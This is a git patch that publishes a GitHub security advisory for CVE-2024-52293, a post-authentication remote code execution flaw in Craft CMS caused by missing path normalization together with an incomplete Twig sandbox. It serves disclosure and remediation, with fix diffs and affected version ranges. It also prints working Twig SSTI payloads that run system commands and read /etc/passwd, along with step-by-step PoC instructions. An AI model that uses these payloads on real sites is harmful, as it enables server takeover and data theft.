From e18929b627a121067d4092319aae8c528063b514 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Wed, 13 Nov 2024 14:18:13 +0000
Subject: [PATCH] Publish GHSA-f3cw-hg6r-chfv
---
.../GHSA-f3cw-hg6r-chfv.json | 86 +++++++++++++++++++
1 file changed, 86 insertions(+)
create mode 100644 advisories/github-reviewed/2024/11/GHSA-f3cw-hg6r-chfv/GHSA-f3cw-hg6r-chfv.json
diff --git a/advisories/github-reviewed/2024/11/GHSA-f3cw-hg6r-chfv/GHSA-f3cw-hg6r-chfv.json b/advisories/github-reviewed/2024/11/GHSA-f3cw-hg6r-chfv/GHSA-f3cw-hg6r-chfv.json
new file mode 100644
index 00000000000..8f2c48e944a
--- /dev/null
+++ b/advisories/github-reviewed/2024/11/GHSA-f3cw-hg6r-chfv/GHSA-f3cw-hg6r-chfv.json
@@ -0,0 +1,86 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-f3cw-hg6r-chfv",
+ "modified": "2024-11-13T14:16:39Z",
+ "published": "2024-11-13T14:16:38Z",
+ "aliases": [
+ "CVE-2024-52293"
+ ],
+ "summary": "Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI",
+ "details": "### Summary\n\nMissing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI.\n\n`(Post-authentication, ALLOW_ADMIN_CHANGES=true)`\n\n### Details\n\nNote: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw)\n\nIn [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization:\n\n```php\n/**\n * Returns an absolute path based on a source location or the current working directory.\n *\n * @param string $to The target path.\n * @param string|null $from The source location. Defaults to the current working directory.\n * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.\n * @return string\n * @since 4.3.5\n */\npublic static function absolutePath(\n string $to,\n ?string $from = null,\n string $ds = DIRECTORY_SEPARATOR,\n): string {\n $to = static::normalizePath($to, $ds);\n\n // Already absolute?\n if (\n str_starts_with($to, $ds) ||\n preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)\n ) {\n return $to;\n }\n\n if ($from === null) {\n $from = FileHelper::normalizePath(getcwd(), $ds);\n } else {\n $from = static::absolutePath($from, ds: $ds);\n }\n\n return $from . $ds . $to;\n}\n```\n\nThis could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir.\n\nLet's see what happens after calling `isSystemDir(\"../templates/poc\")`:\n\n```php\n/**\n * Returns whether the given file path is located within or above any system directories.\n *\n * @param string $path\n * @return bool\n * @since 5.4.2\n */\npublic function isSystemDir(string $path): bool // $path = \"../templates/poc\"\n{\n $path = FileHelper::absolutePath($path, '/'); // $path = \"/var/www/html/web//../templates/poc\"\n\n foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {\n $dir = FileHelper::absolutePath($dir, '/'); // $dir = \"/var/www/html/templates\"\n if (str_starts_with(\"$path/\", \"$dir/\") || str_starts_with(\"$dir/\", \"$path/\")) { // if (false || false)\n return true;\n }\n }\n\n return false; // We're here!\n}\n```\n\nNow that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136):\n```php\n/**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\npublic function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n{\n if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {\n $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));\n }\n}\n```\n\nWe can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc`\n\nThen create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml`\n\nAlthough craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete.\n\n\n```js\n{{['id'] has some 'system'}}\n{{['ls'] has every 'passthru'}}\n{{['cat /etc/passwd']|find('system')}}\n{{['id;pwd;ls -altr /']|find('passthru')}}\n```\n\nThese payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations.\n\n### PoC\n\n1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start\n\n```sh\nmkdir craftcms && cd craftcms\nddev config --project-type=craftcms --docroot=web --create-docroot\nddev composer create -y --no-scripts \"craftcms/craft\"\nddev craft install\nphp craft setup/security-key\nddev start\n```\n\n\n\n2. Create a new filesystem with base path `../templates/poc`\n\n
\n\nNotice that the `poc` directory was created\n\n
\n\n3. Create a new asset volume using the `poc` filesystem\n\n
\n\nUpload a `poc.ttml` file with RCE template code\n\n```js\n{{'
'}}\n{{ 8*8 }}\n{{['id'] has some 'system'}}\n{{['ls'] has every 'passthru'}}\n{{['cat /etc/passwd']|find('system')}}\n{{['id;pwd;ls -altr /']|find('passthru')}}\n```\n\nNote: `find` was added to twig [last month](https://github.com/twigphp/Twig/commit/4e262511930e408e4c7eda07b1c977f2ea98575c). If you're running this poc on an older version of twig try removing the last 2 lines.\n\n
\n\n\n\n4. Create a new route `*` with template `poc/poc.ttml`\n\n
\n\n5. This leads to Remote Code Execution on arbitrary route `/*`\n\n
\n\n### Remediation\n\n```diff\ndiff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php\nindex 0c2da884a7..ac23ce556a 100644\n--- a/src/helpers/FileHelper.php\n+++ b/src/helpers/FileHelper.php\n@@ -133,7 +133,7 @@ class FileHelper extends \\yii\\helpers\\FileHelper\n $from = static::absolutePath($from, ds: $ds);\n }\n\n- return $from . $ds . $to;\n+ return FileHelper::normalizePath($from . $ds . $to);\n }\n\n /**\n```\n\n\n\nSee [twigphp/Twig/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php) for updated filters and operators, a possible fix could look like:\n\n```diff\ndiff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php\nindex efff2d2412..756f452f8b 100644\n--- a/src/web/twig/Extension.php\n+++ b/src/web/twig/Extension.php\n@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface\n new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),\n new TwigFilter('literal', [$this, 'literalFilter']),\n new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),\n+ new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),\n+ new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),\n+ new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),\n new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),\n new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),\n new TwigFilter('merge', [$this, 'mergeFilter']),\n```\n\n\n\n### Impact\n\nTake control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.\n\nAlthough the vulnerability is exploitable only in the authenticated users, configuration with `ALLOW_ADMIN_CHANGES=true`, there is still a potential security threat (Remote Code Execution)\n",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "craftcms/cms"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "4.0.0-RC1"
+ },
+ {
+ "fixed": "4.12.2"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 4.12.1"
+ }
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "craftcms/cms"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "5.0.0-RC1"
+ },
+ {
+ "fixed": "5.4.3"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 5.4.2"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/craftcms/cms"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-94"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-11-13T14:16:38Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file